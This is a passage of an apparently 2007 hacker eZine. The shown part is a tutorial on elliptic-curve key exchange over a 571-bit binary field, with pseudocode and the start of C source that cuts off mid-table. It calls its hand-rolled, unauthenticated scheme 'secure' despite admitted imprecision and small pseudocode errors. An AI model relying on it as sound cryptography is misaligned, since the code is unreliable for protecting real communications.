.aware eZine Alpha - Overground Hacking

EDB-ID:

13112

CVE:

N/A

Author:

.aware

Type:

papers

Platform:

eZine

Published:

2007-01-26

		     .aware eZine Alpha - Overground Hacking

                     Too much technology, in too little time.

                               _..gggggppppp.._
                          _.go101110000010111010op._
                       .g1101100101000011010101001001p.
                    .g1011001101100000100001100110101100p.
                  .o10111001100101111101010111001110101110o.
                .o010011100101110000101111011010000100001100o.
               o0001101001100001101101000101100001010011100110o
              o111010110010111110000000001101101111110111011101o
             o11010100000110001000000101111000011010110010110001o
            o0010110011010000000010000100010011011000001110000111o
           o011110101101100000110100101010001001100110101101101100o
          :10011111001001010001101010110100010011111100010001011000;
          1000101111010111001111001110000111010100101111101101100111
         :0000110100101111101001101001011110111101010111001100000101;
         111011111000000101111101001111001101000110101011011001011001
        :111000100111010000111100010000110111011001110101011110000100;
        :101111001100100011000001111110110100101101110101101010111010;
        10101011000000000111000001111111011100001110100101110010000101
        11001001101010100001010110111101101011011110110011111010111011
        :101001010101101111000010100010011P"'    "Q111100011100101011;
        :001001001101010111001110010010101Y        Y01010011110111010;
         110001111000110100100110010100110          01010100110000111
         :00010110000101111010100101010011.        .0011110001011001;
          10111110011000011111001001110101O        O1010111110001000
          :11000001100011011011011100000000o,_  _,o0010011100110010;
           T110101001110010000110110111000001010000000100011000010P
            T0110011000101011101011101000000101111111111001001000P
             T00110111111001010010011101110110110001110001101111P
              T111001010010111111010101001111000011101111000101P
               T1110000110010100101111001111101011000000101011P
                `T100100101011001110111100001101011000100011P'
                  `T11111001011011000110000011100101010111P'
                    "^1111011011111101010101011101111000^"
                       "^T01001111111100111100001000P^"
                           '""^^^T0011101011T^^^""'



   Hello and  welcome to the  first .aware  eZine  ever to exist  on planet
   earth. Basically, with all the h0no  wannabes out there and phrack down,
   I thought there ought to be a little bit more actual infotainment spread
   into  cyperspace.  This  way,  maybe  not all of us  will be driven into
   criminal insanity by paranoid hallucinations.


                                Enjoy the zine.

                  PS: We're sorry for causing all that cancer.
				  
		1  	ECDLP Quick & Dirty  		rattle
		2 	Breaking Perl 			zshzn
		3 	Exploring RDA 			kharn
		4 	The House of Mind 		K-sPecial
		5 	Adjacent memory overflows 	Nomenumbra
		6 	outr0 				rattle

[=========================================================================]
[-------------------------[ ECDLP Quick & Dirty ]-------------------------]
[=========================================================================]


       _==####==_
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########*¯*######                                     
  *#########{   }####* 
   ##########._.#####
    ################  (C) 2006 by .aware computer security research group
     *############*
       ¯==####==¯         Web: http://awarenetwork.org
                       Author: rattle@awarenetwork.org



------------------------------------------------[ Table of Contents ]-----

    i.  Abstract
   ii.  Preface
  iii.  Mathematical Background
   iv.  Implementation Issues - Fields
    v.  Implementation Issues - Curves
   vi.  Implementation
  vii.  Conclusion
 viii.  References
  

-[ i ]----------------------------------------------------[ Abstract ]-----


 We aim to implement a very small and versatile assymetric key exchange
 algorithm for x86 platforms, based on the Elliptic Curve Discrete
 Logarithm Problem (ECDLP). This algorithm allows 2 parties to exchange a
 key of sufficient length for subsequently encrypting traffic with a 
 symmetric cipher.

 NOTE: This paper might offend the mathematically schooled among you
 because I was not exactly precise, let alone thorough. 


-[ ii ]----------------------------------------------------[ Preface ]-----


                 "I encrypt all my data with one-time pad's that consist
                  of an electrometre measuring me urinating into the
                  toilet. I'm secure."
                                                               - sirukin


 It has come to my attention that modern cryptography, while being on
 everyone's favourite feature list, is hardly found explained in papers
 with the due clarity it requires. More accurately, most articles give
 you a rough idea of how certain cryptographic schemes work and,
 succeed in completely failing to give you enough insight (or tools) to
 implement an actually secure, working algorithm. In particular, I am 
 referring to Elliptic Curve Cryptography (ECC), which I will be
 revolving around for the rest of the night.

 If everyone has such a compulsive thirst for knowledge - why the utter
 lack of enlightenment? Pretty simple. Just like the less sophisticated
 asymmetric schemes (like RSA), the basic idea of ECC can be wrapped up
 in a couple of fancy sketches and some first semester algebra. However,
 once you delve deeper into the topic, you will find that it is
 headblowingly complicated and not nearly as easy as they told you.

 Don't be intimidated, though. I will work around most problems of ECC
 with dirty tricks and hardcoded parameters. What we will get, though,
 is a working and secure ECDLP key exchange algorithm implemented in C
 for x86 machines. Mac users, rejoice. 



-[ iii ]-----------------------------------[ Mathematical Background ]-----


                   "Well, just because you don't understand it, does not
                    mean it's complicated."
                                                  - My Algebra Professor


 (1) Fields. A field is a mathematical structure F which behaves similar to
 the real or the rational numbers. For in time, I recommend you think of
 these structures as we analyze them in a more abstract fashion. Elements
 of a field can be added and multiplied. Each element a has a uniquely
 defined additive inverse (-a) such that a+(-a)=0. Also, each element a!=0
 has a multiplicative inverse (1/a) such that a * (1/a) = 1. Also, you have
 a*b=b*a, a*(b*c)=(a*b)*c and (a+b)*c = ac+bc. All this is obvious for real
 or rational numbers - but there are much more interesting structures that
 obey the same laws. As you might have already concluded, each field
 contains the Elements 0 and 1, the neutral Elements of Addition and
 Multiplication respectively. (Neutral because a+0=a, a*1=a.)

 Well, since it seems to be the smallest possible one, how about the field
 F2 = { 0, 1 }  with


   Addition:         Multiplication:
 
    + | 0 | 1         * | 0 | 1
   ---+---+---       ---+---+--- 
    0 | 0 | 1         0 | 0 | 0 
   ---+---+---       ---+---+--- 
    1 | 1 | 0         1 | 0 | 1
      '   '             '   '

 The addition is a simple XOR operation, the multiplication works just 
 as though 1 and 0 were integer numbers. This means, you use + and * on
 0 and 1 as though they were integer numbers, but the result of your 
 operation is the parity of the calculated number. Since there aren't that
 many scenarios, you can easily convince yourself that you can operate
 inside F2 just like you can operate on real and rational numbers.

 While it's an interesting and entertaining example, let's try to
 generalize the concept. For any prime p, let F(p) = { 0, 1, ..., p-1 } be
 the field where every operation is performed modulo p. This means, for
 any a,b in F(p), you have
 
    add(a,b) :=  (a + b) % p
    mul(a,b) :=  (a * b) % p

 It can be shown that the resulting structure is a field. Why primes? I 
 will not go into detail here, but p being a prime is necessary for the 
 existence of a  multiplicative inverse for every a != 0. For instance, if
 we'd try p = 6, you had mul(2,3) = (2*3)%6 = 0, and consequentially, 
 neither 2 or 3 would have a multiplicative inverse. However, for p=7:

    mul(1,1)               =  1 % 7 = 1
    mul(2,4) = (2 * 4) % 7 =  8 % 7 = 1
    mul(3,5) = (3 * 5) % 7 = 15 % 7 = 1
    mul(6,6) = (6 * 6) % 7 = 36 % 7 = 1

 These fields are known as prime fields. It can be shown that every finite
 field (a field with finitely many elements) has p to the power of m
 elements, where p is a prime and m a positive integer number. We have
 covered the fields with p elements already, what do the others look like?

 Consider polynomials with coefficients in F(p). As you might know,
 polynomials can be added and multiplied. Most axioms of a field are 
 already given, but we are lacking a multiplicative inverse for every
 polynomial of degree 1 or more. In fact, the polynomials over F(p)
 are, as a structure, very similar to the integer numbers - there's a
 polynomial division with rest, just like you have a division with rest for
 integers. Accordingly, you will also find prime polynomials. You will
 have to believe me when I tell you the following two things (or read a big
 book on algebra):

  - For any m, there exists a prime polynomial of degree m over F(p).
  - Performing every operation in F(p) modulo a prime polynomial of
    degree m yields a field structure with p to the power of m 
    elements.

 We are particularly excited about polynomials over F2, because they can
 easily be represented as a bitstring (the coefficients of the
 polynomial are either 1 or 0). We will refer to this structure as F(2,m)
 where (m+1) is the degree of the prime polynomial we use for reduction.

 I cannot venture too deep into the maths here. For now, I just want 
 you to know and trust me that F(2,m) works just like real or rational
 numbers - except for nasty things like a + a = (1 + 1) * a = 0 * a = 0.
  
 
 (2) Elliptic curves. What is an elliptic curve? An elliptic curve, for
 us, will be the set of all points (x,y) from any field which satisfy an 
 equation of the form


                       y² + xy = x³ + ax² + b                          (*)


 Note that this is not the general definition of an elliptic curve. Indeed,
 this is a "non-supersingular" curve. However, frankly, that's all we are 
 interested in.
 We will write, for given coefficients a and b:


  E(F) = { (x,y) : x in F, y in F, y² + xy = x³ + ax² + b } + { @ }


 In words: E(F) is the set of all tuples (x,y) with x and y in F, such that 
 x and y satisfy the curve equation (*). We also say that x=infinity and
 y=infinity satisfy the curve equation and call the point @ the "point at
 infinity". 

 The sketch below shows how these kinds of curves look over the real
 numbers:

                                                          
                             |    .
                             |     
                             |   .
                             |  .
                             | .
                             |. 
               . . .        .|
             .       . .. .  |
            .                |
           .                 |
       ----------------------+-----------------
           .                 |
            .                |
             .       . .. .  |
               . . .        .|
                             |.
                             | .
                             |  .
                             |   .
                             |     
                             |    .


 There is something particularly interesting about these elliptic curves.
 Provided that P and Q are points on the curve, draw a line through P and
 Q. It will intersect the curve in a third point R'. The sum of
 P and Q is then defined as the negative of R', which is simply the 
 reflection of R' about the x-axis. To add a point P to itself, you draw
 the tangent instead. 



                             |       /
                             |      .
                             |     /. R'
                             |    /  
                             |   / . 
                             |  /    
                             | /  .  
                             |/      
                             /   .    
                            /|  .    
                           / | .    
                          /  |.     
               . . .     /  .|      
             .       . .. .  |       
            .          / Q   |       
           .          /      |       
       --------------/-------+-----------------
           .        /        |       
            .      /         |
             .    /  . .. .  |
               . . .        .|
                / P          |.
               /             | .
              /              |  .
             /               |   .
            /                |     
           /                 |    .
          /                  |    
         /                   |     .
        /                    |      
       /                     |      . 
      /                      |      X  -R' = (P + Q)




 To be precise, for P = (x,y) we set -P = (x,-y). Set P + (-P) := @. 

 As an interesting result, E(F) together with this addition law is an
 abelian group (that means, adding these points technically works like 
 like adding integer numbers) with @ serving as the neutral element
 (the "zero"). 

 How can we put this structure to cryptographic use? First of all, we
 consider elliptic curves over finite fields. Also, define a function


    f(n,P) = nP = P + P + ... + P

                  <-- n times -->


 For very large n, this function is still easy to calculate for a given
 point P. However - given Q and P, it is very hard to find an integer 
 Number n such that Q = f(n,P). This is called the Elliptic Curve Discrete
 Logarithm Problem. Now, due to the abelian structure, you have 


    f(n*m,P) = f(n,f(m,P)) = f(m,f(n,P))


 for any two integers n and m. Let me show you how we can exchange keys
 with this little trick.


    (1) Alice and Bob agree on a Point P in E(F).
    (2) Alice secretly chooses a big random number n and calculates nP.
        Bob also chooses big random number m and calculates mP.
    (3) Alice sends Bob (nP), Bob sends Alice (mP).
    (4) Alice calculates n(mP) = nmP =: Q.
        Bob also calculates m(nP) = nmP = Q.
    (5) Bob and Alice use Q as the key for encrypting traffic.

 
 What does Eve know? She knows P, (nP) and (mP). To get Q, she'd need the
 product nm. However, this would only be possible by solving the ECDLP for
 (nP) and (mP) (or solving a similarly hard problem).

 And that's that, folks. Let's get down to business!



-[ iv ]-----------------------------[ Implementation Issues - Fields ]-----


  "If I recally correctly, the compiler does issue optimizer notes for
   this, it's just that they don't particularly stand out from the other
   notes so you might not realize that these particular optimization
   notes are OPTIMIZATION PROBLEMS WHICH WILL BURN ALL YOUR CPU CYCLES
   IN THE DEEPEST PITS OF COMPUTATIONAL HELL."

      - William Newman on run-time casting with SBCL (#lisp 2003/03/29)


 
 First of all, the ECDLP is hard only if the two following rather strong 
 conditions are met:


   - The number of elements in your finite Field is larger than at least
     2 to the power of 128. 256 bits is better, 512 scares the NSA.     
   - The number of points on your elliptic curve is almost prime, which
     means that it is of the form |E(F)| = h * p, where p is prime and
     h very small.


 This leads to the following problems:


  (A) Implement sufficiently fast finite field arithmetics for fields
      with approximately 1.34e+154 elements (that's around 512 bits).
   
  (B) Find a curve which has appropriate order.

 
 Problem (A) is our biggest problem, as (B) has been solved by government
 agencies and smart mathematicians around the world. So we're left with
 the task of implementing F(2,m) for m ~= 512. 

 Polynomials will be implemented as bitstrings of length m, stored in a
 little endian array of T = (m/32) machine words (32 bits). 


 (1) Shifting / Multiplication with x. Because we store polynomials as 
 bitstrings, shifting is a cheap linear operation. Only consider shifts
 of l<32 (for shifts larger than our wordsize of 32, we can shift
 word-wise first in linear time). We now have to shift and rotate through
 the carry bit at most 31*(m/32) ~ m times. 


 (2) Addition. Adding two polynomials in F(2,m) is trivially linear. 
 It is implemented as T XOR operations.


 (3) Multiplication. Multiplication might seem more complicated, but is
 easily implemented in O(m²). It works like this:

 --------------------------------------------------------------
   Bitwise Comb Polynomial Multiplication Algorithm
 --------------------------------------------------------------

   Input:   Polynomials p(x), q(x) as bitstrings
   Output:  c(x) = p(x) * q(x)

   SET c(x) = 0
   FOR i=0 TO m DO:
       IF bit i of p(x) is set:
           c(x) := c(x) + (q(x) << i)
   RETURN c(x)

 --------------------------------------------------------------

 You can achieve better complexity with a divide-and-conquer approach as
 explained in [K1]. However - for m as small as approximately 512 bit,
 benchmarks for bitwise comb turn out to be faster than benchmarks for
 divide&conquer, on several systems. Thus, for our purposes, the 
 algorithm is completely sufficient, if not optimal.


 (4) Squaring. Calculating p(x)² can be implemented as a very fast 
 linear operation due to the following observation which only  
 applies to fields where 1+1=0:

   (a + b + c)² = (a + b + c) (a + b + c)
     = a² + ab + ac + ba + b² + bc + ca + cb + c²
     = a² + b² + c² + (1+1)ab + (1+1)ac + (1+1)bc
     = a² + b² + c²

 Thus, given a polynomial p(x) as bitstring, we can calculate p(x)² by
 simply inserting zeros between all bits. For instance,

   (1100111)² = (1010000010101)

 With a wee bit of precomputation, this is easily done in 4T = m/8 
 steps.

 
 (5) Reduction. The algorithms for squaring and multiplication yield 
 polynomials of degree > m. These polynomials need to be reduced modulo
 a prime polynomial f(x) of degree m+1. For now, assume we have such an
 algorithm.

 
 (6) Inversion. Last, but definitely not least, we need a "division"
 algorithm. This means, for a given polynomial p(x), find the (uniquely
 defined) multiplicative inverse polynomial q(x), such that:

    p(x) * q(x) = 1 mod f(x)

 where f(x) is our reduction polynomial. To find the Inverse, we use
 the polynomial version of euclid's extended algorithm:
  
 --------------------------------------------------------------
   Euclid's Extended Algorithm (Polynomial)
 --------------------------------------------------------------
 
   Input:  Polynomials p(x) and f(x)
   Output: Polynomials a(x),b(x) and d(x) such that  
           a(x) * p(x) + b(x) * f(x) = d(x)

   SET a(x) = 1, a´(x) = 0,
       b(x) = 0, b´(x) = 1
   SET u(x) = p(x),
       d(x) = f(x)

   WHILE u(x) != 0 DO:
       SET j := deg(u(x)) - deg(v(x))
       IF j < 0:
           u <-> d
           a <-> a´
           b <-> b´
           j := -j
       u(x) := u(x) + ( d(x)<<j)
       a(x) := a(x) + (a´(x)<<j)
       b(x) := b(x) + (b´(x)<<j)

   RETURN a(x),b(x),d(x)
 
 --------------------------------------------------------------

 where "a <-> b" means "exchange a and b". 

 In this particular case, we always have d(x) = 1 because f(x) is prime,
 and we don't care about b(x). 


 The only thing that is left to be done is reduction. This is the only 
 algorithm that depends on the form of the reduction polynomial f(x). 
 This is also the only algorithm that requires a lot of work and 
 hand-tuned optimization. You can skip the rest of this chapter if you
 are not interested in this kind of stuff.

 We will now try to find a reduction polynomial of degree > 512 which
 is particularly suited for reduction. 

 On the other hand, why try to find one if one has already been found?
 The [F1] standard suggests reduction modulo the pentanomial

 --------------------------------------------------------------
   Pentanomial f571(x)
 --------------------------------------------------------------

   f(x)  =   x**571  +  x**10  +  x**5  +  x**2  +  1

         ~  (1<<571) + (1<<10) + (1<<5) + (1<<2) +  1
 
   = 0x 08000000 00000000 00000000 00000000 00000000 00000000
        00000000 00000000 00000000 00000000 00000000 00000000
        00000000 00000000 00000000 00000000 00000000 00000425

 --------------------------------------------------------------


 Write f(x) = h(x) + r(x). where h(x)= (1<<571). Also assume we have a
 polynomial p(x) of degree at most 2m = 1140. Write 

    p(x) = b(x)*h(x) + a(x).

 with polynomials b(x),a(x) of degree m. Because 

    b(x)h(x) = b(x)f(x) + b(x)r(x)

 We get that b(x)h(x) = b(x)r(x) mod f(x), thus we have

    p(x) = b(x)r(x) + a(x) mod f(x).


 Now we're getting down to the hard part. We need to devise a fast
 reduction algorithm. Assume that the bitstring of P is stored as an array
 of unsigned little endian machine words

   
    p(x) = P[2T], P[2T-1], ..., P[T], P[T-1], ..., P[0]


 In this case, our polynomial b(x) starts at bitoffset 26 of P[T-1], 
 because we assume a(x) to be a 570 bit polynomial which does not need to
 be reduced. Consider:

 
 <---- P[2T] --->     <--- P[T] ---> <------------ P[T-1] --------------->

 {1151} .. {1120} ... {608} .. {576} {575}{574}{573}{572}{571} {570} .....

 <---------------------------- B ----------------------------> <--- A --->


 This means we have to understand B[i] == (P[i+T]<<5) ^ (P[i+T-1]>>27).
 Also, obviously A[i] == P[i].


 Now, let's forget this for a while and think about how b(x)r(x) is 
 calculated. We have r(x) = (1<<10)+(1<<5)+(1<<2)+1 = 0x425. We get 

     B[i]*R = B[i] ^ (B[i] << 10) ^ (B[i] <<  5) ^ (B[i] << 2)
 
 and a (maximum 10-bit) carry:

     C(B,i) := (B[i] >> 22) ^ (B[i] >> 27) ^ (B[i] >> 30)

 Thus, in one step of our algorithm, we will have to do

 -------------------------------------------------------------------------

 FOR i = 1, ..., T-1 DO

     P[i]   := A[i]   ^ B[i] ^ (B[i] << 10) ^ (B[i] <<  5) ^ (B[i] << 2)
     P[i+1] := A[i+1] ^ C(B,i)

 -------------------------------------------------------------------------

 Consider what we had before and we get 

 P[i] 
  =   ((P[i+T]<<5) ^ (P[i+T-1]>>27))         ^   
    ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) <<  5 ) ^
    ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) <<  2 ) ^
    ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) << 10 ) ^ P[i]

  = P[i] ^ (P[i+T]<<5) ^ (P[i+T]<<7) ^ (P[i+T]<<10) ^ (P[i+T]<<15)

         ^ (P[i+T-1]>>27)      ^ (P[i+T-1]>>27)<<2
         ^ (P[i+T-1]>>27)<<5   ^ (P[i+T-1]>>27)<<10                    (*)


 P[i+1]
  = 
     ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) >> 22) ^ 
     ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) >> 27) ^
     ( ((P[i+T]<<5) ^ (P[i+T-1]>>27)) >> 30) ^ P[i+1]

  = P[i+1] ^ (P[i+T]<<5)>>22 ^ (P[i+T]<<5)>>27 ^ (P[i+T]<<5)>>30  


 however, one step later, P[i+1] will be XOR'd with (*). We have,
 if we look at a bitwise representation of X:

   Bits, numbered from A to 6:          Variable:    Label:

   ABCDEFGHIJKLMNOPQRSTUVWXYZ123456     (X)
 ^ 0000000000000000000000ABCDE00000     (X>>27)<<5   (A1)
 ^ 000000000000000000000000000FGHIJ     (X<<5)>>27   (A2)
 ^ 0000000000000000000000FGHIJKLMNO     (X<<5)>>22   (B1)
 ^ 000000000000000000000000000000FG     (X<<5)>>30   (C1)
 ^ 000000000000000000000000000ABCDE     (X>>27)      (D)
 ^ 0000000000000000000000000ABCDE00     (X>>27)<<2   (C2)
 ^ 00000000000000000ABCDE0000000000     (X>>27)<<10  (B2)

              /\                           /\         /\
              ||                           ||         ||
              \/                           \/         \/

   ABCDEFGHIJKLMNOPQRSTUVWXYZ123456     (X)
 ^ 0000000000000000000000ABCDEFGHIJ     (X>>22)       (A) = (A1)^(A2)
 ^ 000000000000000000000000000ABCDE     (X>>27)       (D)
 ^ 0000000000000000000000000ABCDEFG     (X>>25)       (C) = (C1)^(C2)
 ^ 00000000000000000ABCDEFGHIJKLMNO     (X>>17)       (B) = (B1)^(B2)
   

 Hence, we can rewrite our Algorithm to:

 -------------------------------------------------------------------------

 FOR i = T-1, ..., 0 DO
     SET X  := P[i+T]
     P[i]   := P[i]   ^ (X<<5) ^ (X<<7) ^ (X<<10) ^ (X<<15)
     P[i+1] := P[i+1] ^ (X>>17) ^ (X>>22) ^ (X>>25) ^ (X>>27)

 -------------------------------------------------------------------------
 

 The Polynomial we get after reduction will, of course, still have degree
 > 570. However, since deg(C(B,T)) <= 10 and deg(r(x)) <= 10, we have
 deg(C(B,T)r(x)) <= 20, which fits into one single machine word. Hence, we
 should be able to complete the reduction with one more operation (and a
 few shifts). Without proof I will tell you that we can complete the
 reduction algorithm to:

 -------------------------------------------------------------------------
   Polynomial Reduction Algorithm Modulo f571 
 -------------------------------------------------------------------------

   Input:  Polynomial p(x) of degree 1140 or less, stored as 
           an array of 2T machinewords.
   Output: p(x) mod f571(x)

   FOR i = T-1, ..., 0 DO
       SET X  := P[i+T]
       P[i]   := P[i]   ^ (X<<5) ^ (X<<7) ^ (X<<10) ^ (X<<15)
       P[i+1] := P[i+1] ^ (X>>17) ^ (X>>22) ^ (X>>25) ^ (X>>27)

   SET X  := P[T-1] >> 27
   P[0]   := P[0] ^ X ^ (X<<2) ^ (X<<5) ^ (X<<10)
   P[T-1] := P[T-1] & 0x07ffffff
 
   RETURN P[T-1],...,P[0]

 -------------------------------------------------------------------------
 
 We're done! We have each and every function to implement a fast 570 bit
 binary field. 




-[ iv ]-----------------------------[ Implementation Issues - Curves ]-----


                        "Premature Optimization is the root of all evil."
                                                             - Tony Hoare


 Now that we have a field to work with, we need to sort out some final 
 issues with the curve implementation. As I told you before, the ECDLP is
 hard only if the curve does not have a smooth order. At this point we 
 shortcut a huge problem of elliptic curve cryptography by choosing a 
 hardcoded (Koblitz) curve over F(2,570) which has almost prime order. 
 That curve is  


                           E0:  y² + xy = x³ + 1 


 This is a non-supersingular Koblitz curve over F2. Fancy words, huh? The
 laws for point addition work as follows:


  1. P + @ = @ + P = P for all P in E(F(2,m))

  2. The negative of  P = (x,y) is  -P = (x, x + y). Also, -@ = @ and 
     of course, P + (-P) = @.

  3. Point addition: Let P=(x1,y1) and Q=(x2,y2), where P is neither Q nor
     -Q. Then we have P + Q = (x3,y3), where


         x3 = l² + l + x1 + x2                   (y1 + y2)
                                       with l := ---------
         y3 = l(x1+x3) + x3 + y1                 (x1 + x2)
 

  4. Point doubling. Let P = (x, y) and P is not -P. Then we will write
     P+P = 2P = (a, b), where


         a = l² + l = x² + (1/x²)                (x + y)
                                       with l := -------
         b = l(x+a) + a + y                         x



 But wait! You said in (iii.) that -(x,y) = (x,-y)! Yea. I lied. That law
 in (iii) is not the law for non-supersingular curves over F2, but for
 curves over the real numbers. You see, in F(2,570), many things are very 
 different from other fields because we have 1+1=0. Simple things like 
 dividing by 2 turn out to be real explosive. Hence, most algorithms and
 laws have to be tweaked a bit.

 Know that Koblitz curves have special traits which gave birth to a lot of
 literally insane optimization algorithms. Also know that I did not
 implement any of these. It might be a topic for later papers. Instead, 
 the above laws have been implemented naively. What requires a wee bit of
 attention is the point multiplication algorithm. First of all, point 
 multiplication is defined as the n-fold addition of a point P. Here, n 
 is any integer number. We will use a standard square & multiply (double
 & add) algorithm to implement the point multiplication using point
 addition. Hence, we will view the integer number as a bitstring and
 consequentially, we can use the same data type for 576-bit polynomials and
 576-bit integer numbers.

 ---------------------------------------------------------
  Double & Add Point Multiplication Algorithm
 ---------------------------------------------------------

  Input:   Point P, Polynomial k(x) over Z
  Output:  k(2)*P
 
  SET Q := P

  FOR i = deg(k), ..., 0 DO:
      Q := Q+Q
      IF bit i of k(x) is set THEN:
          Q := Q+P

  RETURN Q

 ---------------------------------------------------------
 
 Our work here is almost done. The only remaining problem is - how do we
 find a point on the curve? (1,1) and (1,0) are trivial solutions, but
 they are of such small order that they are not really suitable for key 
 exchange via ECDLP. On the other hand, |E(F)| ~= q, where q = |F| (there
 are approximately as many points on the curve as there are elements in
 the underlying field). Since we have q² possible point combinations, we 
 have a probability of 1/q ~= 2.59e-172 that a random point actually
 satisfies the curve equation. 

 We will work around this problem the same way we worked around most
 problems so far - we won't solve it. The following point is, according to
 [F1], a generator point of the koblitz curve we chose in little Endian
 notation:

 PGEN = {
   0xA01C8972,0xE2945283,0x4DCA88C7,0x988B4717,0x494776FB,0xBBD1BA39,
   0xB4CEB08C,0x47DA304D,0x93B205E6,0x43709584,0x01841CA4,0x60248048,
   0x0012D5D4,0xAC9CA297,0xF8103FE4,0x82189631,0x59923FBC,0x026EB7A8,

   0x3EF1C7A3,0x01CD4C14,0x591984F6,0x320430C8,0x7BA7AF1B,0xB620B01A,
   0xF772AEDC,0x4FBEBBB9,0xAC44AEA7,0x9D4979C0,0x006D8A2C,0xFFC61EFC,
   0x9F307A54,0x4DD58CEC,0x3BCA9531,0x4F4AEADE,0x7F4FBF37,0x0349DC80   }
 
 What is a generator point? A point P of E(F) is called a generator point
 if and only if for every Q in E(F), there is an integer number n such 
 that nP = Q. In plain English, this point generates the entire curve.
 
 In step (1) of the key exchange, explained in the last paragraph of
 chapter (iii), we will always choose the point PGEN. Now, having cheated
 our way around the more cumbersome problems of ECC, we shall have some
 fun.




-[ vi ]---------------------------------------------[ Implementation ]-----


              "I considered life, I implemented life, now, life is boring."
                                                                 - thE AWKz


 In the Appendix, you will find the following files:


   binfields.h   curve.h
   binfields.c   curve.c

 
 The binfields module implements polynomial extension fields modulo the 
 prime polynomial presented in (iv). All operations are implemented as
 described in (iv) and provide sufficiently fast arithmetics. The curve
 module implements the koblitz curve E0 as described in (iv).

 Note that the curve module has not been optimized for speed. I have
 tested the Module, and for a full-blown key exchange, the algorithm takes
 around 3-4 seconds, which means an effort of max. 2 seconds for each
 party. This is reasonably fast and definitely fast enough for any 
 real life application. On a slow box, this might grow to time spans 
 of 10 seconds, but I still think it is within acceptable range.

 Now, how does the Module work? Basically, include curve.h and then,
 all you need are the following functions:

  word* pointMul(word* R, word* k, word* P);
  word* pointGen();
  word* polyRand();


 polyRand() generates a random polynomial in F(2,570). For the sake of
 point Multiplication, it can also be interpreted as a 570-bit integer
 number. pointGen() gives you a hardcoded generator point of E0. 

 For key exchange, each side performs the following operation (after
 initializing the random number generator):

 --------------------------------------------------------------

   word* n = polyRand();
   word* P = pointGen();

   pointMul(P,n,P); // P := nP
   sendToBob(P);    // send (nP) to bob
   recvFromBob(P);  // get (mP) from bob
   pointMul(P,n,P); // calculate Q = nmP = n(mP)
   free(n);
   
   /* use the 36-word array P or any substring of it
      for symmetric encryption.                      */

 --------------------------------------------------------------

 And voila, you're good to go.
  
  
  

-[ vii ]------------------------------------------------[ Conclusion ]-----
 

                        "I know that you believe you understand what you
                         think I said, but I'm not sure you realize that
                         what you heard is not what I meant."
                                                     - Robert McCloskey


 We have implemented exactly what we wanted - a quick and dirty ECDLP key
 exchange algorithm. It is far from being a comprehensive and complete 
 ECC library - it is limited. On the other hand, it is small and easily 
 incorporated with applications you might already have. Any kind of remote
 networking software can now be equipped with full-blown assymetric
 encryption. I can imagine a whole lot of ways to put this option to good
 use. 

 And now, enjoy the code.



-[ viii ]-----------------------------------------------[ References ]-----


 [K1] Karatsuba - Ofman Multiplication using Divide & Conquer

 http://mathworld.wolfram.com/KaratsubaMultiplication.html


 [F1] Federal Information Processing Standards Publication
      FIPS-186-2 - Digital Signature Standard 

 http://csrc.nist.gov/publications/fips/fips186-2/fips186-2-change1.pdf
 

 



[=========================================================================]
[------------------------------[ APPENDIX ]-------------------------------]
[=========================================================================]


 All files have been compiled using Microsoft Visual Studio 6 on Windows.
 Since there is a lot of inline Assembler, you might have to hand-tweak
 this code for other platforms.



-------------------------------<binfields.h>-------------------------------


#ifndef _BINFIELDS__H
#define _BINFIELDS__H

typedef unsigned char  byte;
typedef unsigned long  word;

#define SIZE_BITS   0x0000023a
#define SIZE_WORDS  0x00000012
#define SIZE_BYTES  0x00000048
#define EMPTY_MASK  0x07ffffff
#define SIZE_BITS2  0x00000474
#define SIZE_WORDS2 0x00000024
#define SIZE_BYTES2 0x00000090

void  __fastcall   lshift(word* a, word n);
void  __fastcall   rshift(word* a, word n);

int                deg(word *a);

int   __fastcall   polyCmp(word *a, word *b);
int   __fastcall   polyIsZero(word *a);

word* __fastcall   polyAdd(word* c, word* a, word* b);
word* __fastcall   polyAddTo(word* a, word* b);

word*              polySqr(word* c, word* a);
word*              polyMul(word* c, word *a, word *b);
word*              polyDiv(word* c, word *a, word *b);
word*              polyInv(word *c, word *a);


word*              polyGen();
word*              polyRand();
word*              polyDup(word* a);

#endif


-------------------------------<binfields.c>-------------------------------


#include <memory.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#include "binfields.h"

// Precomputed Array. For each byte a1,a2,...,a8, this 
// array contains the halfword a1,0,a2,0,a3,0,...,0,a8.
// This is used for fast squaring.

const static unsigned short POW[0x100] = {
    0x0000,0x0001,0x0004,0x0005,0x0010,0x0011,0x0014,0x0015,
    0x0040,0x0041,0x0044,0x0045,0x0050,0x0051,0x0054,0x0055,
    0x0100,0x0101,0x0104,0x0105,0x0110,0x0111,0x0114,0x0115,
    0x0140,0x0141,0x0144,0x0145,0x0150,0x0151,0x0154,0x0155,
    0x0400,0x0401,0x0404,0x0405,0x0410,0x0411,0x0414,0x0415,
    0x0440,0x0441,0x0444,0x0445,0x0450,0x0451,0x0454,0x0455,
    0x0500,0x0501,0x0504,0x0505,0x0510,0x0511,0x0514,0x0515,
    0x0540,0x0541,0x0544,0x0545,0x0550,0x0551,0x0554,0x0555,
    0x1000,0x1001,0x1004,0x1005,0x1010,0x1011,0x1014,0x1015,
    0x1040,0x1041,0x1044,0x1045,0x1050,0x1051,0x1054,0x1055,
    0x1100,0x1101,0x1104,0x1105,0x1110,0x1111,0x1114,0x1115,
    0x1140,0x1141,0x1144,0x1145,0x1150,0x1151,0x1154,0x1155,
    0x1400,0x1401,0x1404,0x1405,0x1410,0x1411,0x1414,0x1415,
    0x1440,0x1441,0x1444,0x1445,0x1450,0x1451,0x1454,0x1455,
    0x1500,0x1501,0x1504,0x1505,0x1510,0x1511,0x1514,0x1515,
    0x1540,0x1541,0x1544,0x1545,0x1550,0x1551,0x1554,0x1555,
    0x4000,0x4001,0x4004,0x4005,0x4010,0x4011,0x4014,0x4015,
    0x4040,0x4041,0x4044,0x4045,0x4050,0x4051,0x4054,0x4055,
    0x4100,0x4101,0x4104,0x4105,0x4110,0x4111,0x4114,0x4115,
    0x4140,0x4141,0x4144,0x4145,0x4150,0x4151,0x4154,0x4155,
